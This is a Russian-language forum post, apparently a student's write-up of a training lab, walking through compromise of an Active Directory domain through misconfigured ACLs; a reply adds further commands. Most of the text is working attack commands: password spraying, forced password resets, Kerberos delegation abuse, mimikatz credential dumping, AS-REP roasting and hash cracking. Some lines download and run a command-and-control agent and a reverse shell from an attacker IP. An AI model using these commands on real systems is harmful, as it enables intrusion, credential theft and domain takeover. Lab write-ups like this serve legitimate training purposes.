LIMB
Вход Регистрация

тема

Active Directory для чайников часть 7 (Уязвимые конфигурации ACL)

sup · · 1 ответов · 558 просмотров

Спойлер: Авторские права
Все авторские права принадлежат студенту и Академии Кодебай

Начнем как обычно со скана сетки

Не удалось прогрузить медиа


Так же просканим более детально найденные хосты и найдем почтарь)

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Так как вектора небыло в голове то я цеплялся за всю найденную инфу. И так случилось что exchange уязвим к proxynotshell(но об этом позже). Пока я ломал голову куда и как, оказалось что я проглядел интересный сервис совсем без пароля) - vnc


Исходно проблемы ProxyNotShell (CVE-2022-41040 и CVE-2022-41082) в сентябре обнаружили аналитики из вьетнамской компании GTSC. Напомню, что баги затрагивали Microsoft Exchange Server 2013, 2016 и 2019 и позволяли злоумышленникам повысить привилегии для запуска PowerShell в контексте системы, а также добиться удаленного выполнения кода на скомпрометированном сервере.


Не удалось прогрузить медиа


Встречает нас пасхалка от разрабов) ну ясно что не нужно ломать машину и нужно просто получить хэш для дальнейшей атаки

Не удалось прогрузить медиа


У себя поднимаем impacket smbserver и ловим хэши

Не удалось прогрузить медиа


Брутим по словарю полученный хэш

Не удалось прогрузить медиа


после брута получили креды - tech : supp0rt!

после брута получили креды - tech : supp0rt! Идем фазить сеть с кредами
impacket-getTGT 'ACL.LOCAL/tech:supp0rt!' -dc-ip 10.118.0.5 - получил тикет
nxc smb dc -u 'tech' -p 'supp0rt!' --users - получил список пользователей
nxc ldap dc.ACL.LOCAL -u tech -p 'supp0rt!' --bloodhound --dns-server 10.118.0.5 -c All -k - получаем базу для хаунда

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Посмотрев что наш пользак бесправный совсем не интересный, я решил вытащить из хаунда список всех пользователей домена, отсортировать что бы составить список и перебрать методом спрей с паролем tech.

Не удалось прогрузить медиа


Не удалось прогрузить медиа


cat /home/username/Downloads/bh-graph.json | jq -r '.nodes[] | .label' | awk -F'@' '{print $1}' > users.txt - получили полный список пользователей домена
nxc ldap dc.ACL.LOCAL -u users.txt -p 'supp0rt!' - спрэим и находим пользаков

Не удалось прогрузить медиа


Посмотрев среди найденных пользователей мы находим одного который имеет права на смену пароля группе пользователей testerN (N=мой номер в табле)

Не удалось прогрузить медиа


net rpc password 'tester52' 'newP@ssword2024' -U 'ACL.LOCAL'/'spt'%'supp0rt!' -S 'dc.ACL.LOCAL' - Поменяли пароль пользователя tester52

Не удалось прогрузить медиа


Проверяю доступы с паролем

Не удалось прогрузить медиа


По хаунду можно найти что tester может в группу пользователей удаленного доступа прописаться а нам это и нужно.

Не удалось прогрузить медиа


impacket-getTGT 'acl.local/tester52:newP@ssword2024' -dc-ip 10.118.0.5 - получил тикет тестера
export KRB5CCNAME=tester52.ccache - экспортировали тикет
ldap_shell acl.local/[email protected] -k -no-pass -dc-host dc
add_user_to_group tester52 NewUsers - добавили пользователя tester52 в группу NewUsers
add_user_to_group tester52 TechTerminal - добавили пользователя tester52 в группу TechTerminal
get_user_groups tester52 - проверяем в каких группах состоит пользак tester52

Так как у группы TechTerminal есть MemberOf для Remouteusers по и у tester52 теперь тоже.

Не удалось прогрузить медиа


Не будем терять время и идем искать куда мы можем подключиться раз мы MemberOf в RemouteUsers

evil-winrm -i TERMINAL1 -u tester52 -p 'newP@ssword2024' - подключаюсь по winrm с паролем который сам задал

wget http://10.0.0.150/agent.exe -O C:\windows\tasks\ts19.exe - качаю агента хавок

Не удалось прогрузить медиа


Получаем сесию и первый флаг

shell dir C:\flag.txt /s - команда для поиска файла на диске C
shell type C:\flag.txt - команда что бы прочитать флаг

Не удалось прогрузить медиа


Прорубаем себе норм оболочку

stty raw -echo; (stty size; cat) | nc -lvnp 4422 - на kali

powershell iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/antonioCoco/ ConPtyShell/refs/heads/master/Invoke-ConPtyShell.ps1')); Invoke-ConPtyShell 10.0.0.150 4422 - в winrm или havoc

Ну и запустив winpeasex64.exe находим файл(с кредами)

Не удалось прогрузить медиа


Содержание файла такое C:\Windows\Panther\Unattend.xml - Запустил в интерактивной оболочке винпис и нашел файл 4dmP@sswd - в файле админ пароль

Не удалось прогрузить медиа


Ну и по старой доброй традиции идем с этим паролем фазить сеть методом спрей.

nxc smb dc.ACL.LOCAL -u users.txt -p '4dmP@sswd' --continue-on-success - фазим пользака с новым паролем

LADMIN : 4dmP@sswd SADMIN : 4dmP@sswd MADMIN : 4dmP@sswd WADMIN : 4dmP@sswd

Не удалось прогрузить медиа


Среди пользаков есть один интересный нам у которого есть GenerickAll на SRV52$

Не удалось прогрузить медиа


bloodyAD -d 'ACL.LOCAL' -u 'madmin' -p '4dmP@sswd' --host 10.118.0.5 add uac -f DONT_REQ_PREAUTH SRV52$
bloodyAD -d 'ACL.LOCAL' -u 'madmin' -p '4dmP@sswd' --host 10.118.0.5 set password 'SRV52$' 'NewPass123'
.\ts19_rub.exe hash /domain:ACL.LOCAL /user:SRV52$ /password:NewPass123 - получили rc4
.\ts19_rub.exe asktgt /user:SRV52$ /rc4:77599F3EE1FB5F933DA0311F3884B9DE /domain:ACL.LOCAL /nowrap - Получили TGT билет

Не удалось прогрузить медиа


Не удалось прогрузить медиа


shell ts19_rub.exe s4u /impersonateuser:Администратор /domain:ACL.LOCAL /msdsspn:CIFS/TERMINAL1.ACL.LOCAL / ticket: билет

Не удалось прогрузить медиа


.\ts19_rub.exe describe / ticket:билет - экспортируем тикет

Не удалось прогрузить медиа


Не удалось прогрузить медиа


nano adm.base64 - сохр админ tgs
base64 -d adm.base64 > adm.kirbi
impacket-ticketConverter adm.kirbi adm.ccache
KRB5CCNAME=adm.ccache impacket-psexec 'acl.local/Администратор'@terminal1.acl.local -codec 866 -k -no-pass -debug - подключаемся с правами и получаем оболочку СИСТЕМА

Не удалось прогрузить медиа


Получили доступ

Не удалось прогрузить медиа


Ловим сесию в havoc и второй флаг

Не удалось прогрузить медиа


Поискав инфу в системе, находим креды в открытом виде)

radmin O29e23e32 - получил в открытом виде из мимика mimikatz.exe "vault::cred /patch"

Не удалось прогрузить медиа


Сразу иду премерять новые креды в сетку.
evil-winrm -i TERMINAL2 -u radmin -p 'O29e23e32' - подключились + завели сесию в havoc

Не удалось прогрузить медиа


Получив доступ, получили и третий флаг

token make acl.local radmin O29e23e32 LOGON_INTERACTIVE - получили токен норм без ограничений winrm

shell ts19_mim.exe "dpapi::masterkey /in:C:\users\radmin\AppData\Roaming\Microsoft\Protect\S-1-5-21-3921055818-2295829649-1212812925-2430\d0e309ea-b9b3-4915-8d17-241dbe256bf8 /sid:S-1-5-21-3921055818-2295829649-1212812925-2430 /password:O29e23e32 /protected" "exit" - получил мастерклю

shell ts19_mim.exe "dpapi::cred /in:C:\users\radmin\AppData\Local\Microsoft\Credentials\4B472B132538567E983EFD5F8C3DBED1 /masterkey:72034f55b7013ec2149aa70c6ae0c13f15f41b230946e360cf1892a7356b688bf915c17c72bec9be0a7fb8fa530fdb94264e5835815c3541b381190ed0c7d741 /unprotect" "exit" - Получил креды

acl\tadmin : 1KAskdw2e2e

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Не удалось прогрузить медиа


Так как tadmin управляет всеми terminalami то мы можем сделать rbcd

Не удалось прогрузить медиа


Code:
impacket-rbcd -delegate-from 'SRV52$' -delegate-to 'TERMINAL2$' -dc-ip '10.118.0.5' -action 'write''acl'/'tadmin':'1KAskdw2e2e'
impacket-getST -dc-ip 10.118.0.5 -spn 'TERMSRV/TERMINAL2.ACL.LOCAL' -impersonate 'dadmin' 'acl.local/SRV52$:NewPass123'
KRB5CCNAME=dadmin@[email protected] impacket-psexec 'acl.local/dadmin'@terminal1.acl.local -codec 866 -k -no-pass -debug

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Попав на хост нашел ntlm хэш пользователя uadmin

Не удалось прогрузить медиа



shell ts19_mim.exe "token::elevate" "sekurlsa::logonpasswords" "exit" - получил хэш uadmin  - b2bbc4b241424c12a0b1f0787faa4f87
impacket-getTGT 'acl.local/uadmin:' -hashes :b2bbc4b241424c12a0b1f0787faa4f87 -dc-ip 10.118.0.5 - получил TGT тикет
Получили хэш с помощью GenericWrite uadmin на avetisov
export KRB5CCNAME=uadmin.ccache
impacket-GetNPUsers -dc-ip 10.118.0.5 -request ACL.LOCAL/avetisov -no-pass

Не удалось прогрузить медиа


Не удалось прогрузить медиа


hashcat -m 18200 hash3.txt /home/username/codeby/laba10/russwlst_ad.txt -r /usr/share/hashcat/rules/

OneRuleToRuleThemStill.rule - получили пароль пользака avetisov

avetisov : asQW12335632

Не удалось прогрузить медиа


Так как у нас есть пароль от пользака то можем получить секреты из google chrome

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Так как мы нашли креды и знаем с начала лабы что на exchange есть уяза proxynotshell rce то проэксплуатируем.

Code:
Username: work
Password: kjf!!P[W43

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Получаем оболочку и лутаем пятый флаг

Попросив хаунда построить нам дальнейший маршрут от exchange так как мы его полность скомпрометировали до DC мы получили такую картину

Не удалось прогрузить медиа


На этот раз атаку rbcd будем далать прямо из машины). Загружаем модуль powerview.ps1 и импортруем модуль...

Import-Module .\PowerView.ps1
Add-DomainObjectAcl -PrincipalIdentity EXCHANGE$ -TargetIdentity MSOL_5B61AC0E9ACF -Rights All
$NewPassword = ConvertTo-SecureString 'NewPass123' -AsPlainText -Force
Set-DomainUserPassword -Identity MSOL_5B61AC0E9ACF -AccountPassword $NewPassword
wget http://10.0.0.150/Rubeus.exe -O C:\windows\tasks\ts19_rub.exe

Не удалось прогрузить медиа


Вот так я получил rc4 если что

Не удалось прогрузить медиа


По итогу получаем ntlm хэш dadmin - доменный админ.

Не удалось прогрузить медиа


Подключаемся, качаем агент, ловим оболочку в havoc, лутаем последний флаг

Не удалось прогрузить медиа

Не удалось прогрузить медиа
👍54 ❤️9 😁9 💯13
Так немного б хотел от себя добавить.
./bloodyAD.py -d 'acl.local' -u 'spt' -p 'supp0rt!' --host 10.118.0.5 set password 'tester77' 'shengen77'         - меняем пароль пользаку
./bloodyAD.py -d 'acl.local' -u 'tester77' -p 'shengen77' --host 10.118.0.5 add groupMember NEWUSERS tester77 - добавляем в групу NEWUSERS
./bloodyAD.py -d 'acl.local' -u 'tester77' -p 'shengen77' --host 10.118.0.5 add groupMember TECHTERMINAL tester77 
./bloodyAD.py -d 'acl.local' -u 'madmin' -p '4dmP@sswd' --host 10.118.0.5 add rbcd 'SRV77$' 'EUSPC$'


getST.py -spn 'CIFS/TERMINAL1.ACL.LOCAL' -impersonate 'dadmin' -altservice 'CIFS' -hashes:44BF0244F032CA8BAADDDA0FA9328BF8 'acl.local/srv77$' 
- запрос тикета через impacket, для имересонизации нашего юзера SRV под dadmin
impacket-getTGT 'acl.local/terminal1$' -dc-ip 10.118.0.5 -hashes :11cd547efdc497dbc1d7656516790c6c - запрос тикета на весь ПК

addcomputer.py -computer-name 'EUSPC8$' -computer-pass 'NewPass123' -dc-host DC.ACL.LOCAL'domain/tadmin:1KAskdw2e2e' - добавляем машину и ставим ее пасс
python3 addspn.py -u 'acl.local\EUSPC8$' -p 'NewPass123' -s CIFS/eusps8.acl.local 10.118.0.5 –additional -  добавляем SPN нашей тачке.
rbcd.py -delegate-from 'EUSPC8$' -delegate-to 'Terminal2$' -action 'write' 'acl.local/tadmin:1KAskdw2e2e' - переносим SID


impacket-getTGT 'acl.local/EXCHANGE$' -hashes :095ffce2a0fe9434bf940c954357717a - запрашиваем тикет для тачки.( хеш достали, через impacket-secretsdump
KRB5CCNAME=EXCHANGE\$.ccache - добавили получений хешик
ldap_shell -k -no-pass -dc-host DC.ACL.LOCAL 'acl.local/EXCHANGE$'add_user_to_group EUSPC$ 'EXCHANGE WINDOWS PERMISSIONS' - добавили права на нашу тачку

impacket-psexec acl.local/администратор@10.118.0.5 -hashes :e3115515f5ee4abe9b4e71f48e4b1c1f -codec cp866 - это вместо dadmin

Ps. Новому юзеру будет сложно понять, так как это полноценный курс, студент дает свой врайтап, тут или читать полностю цикл тем которые дает ТС от 1 и до 10 или же идти на курс по АД. То там АДД
PSS. Я много читал всяких умных книжек по АД, но практика это бесценно(!)
👍3

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.